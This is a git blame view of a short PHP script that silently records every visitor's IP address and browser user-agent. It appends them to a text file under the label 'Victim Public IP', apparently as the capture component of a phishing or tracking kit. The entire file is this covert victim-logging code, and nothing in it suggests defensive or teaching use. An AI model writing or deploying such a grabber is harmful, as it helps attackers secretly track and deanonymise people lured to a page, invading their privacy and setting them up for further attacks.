2018-06-07 17:15:57 +08:00
|
|
|
<?php
|
|
|
|
|
|
|
|
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
|
|
|
|
{
|
|
|
|
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
|
|
|
|
}
|
|
|
|
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check if ip is pass from proxy
|
|
|
|
{
|
|
|
|
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
|
|
|
|
}
|
|
|
|
else
|
|
|
|
{
|
|
|
|
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
|
|
|
|
}
|
2018-06-08 19:48:55 +08:00
|
|
|
$useragent = " User-Agent: ";
|
|
|
|
$browser = $_SERVER['HTTP_USER_AGENT'];
|
|
|
|
|
2018-06-07 17:15:57 +08:00
|
|
|
|
|
|
|
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
|
2018-06-08 20:37:18 +08:00
|
|
|
$victim = "Victim Public IP: ";
|
2018-06-07 17:15:57 +08:00
|
|
|
$fp = fopen($file, 'a');
|
|
|
|
|
|
|
|
fwrite($fp, $victim);
|
|
|
|
fwrite($fp, $ipaddress);
|
2018-06-08 19:48:55 +08:00
|
|
|
fwrite($fp, $useragent);
|
|
|
|
fwrite($fp, $browser);
|
|
|
|
|
2018-06-07 17:15:57 +08:00
|
|
|
|
|
|
|
fclose($fp);
|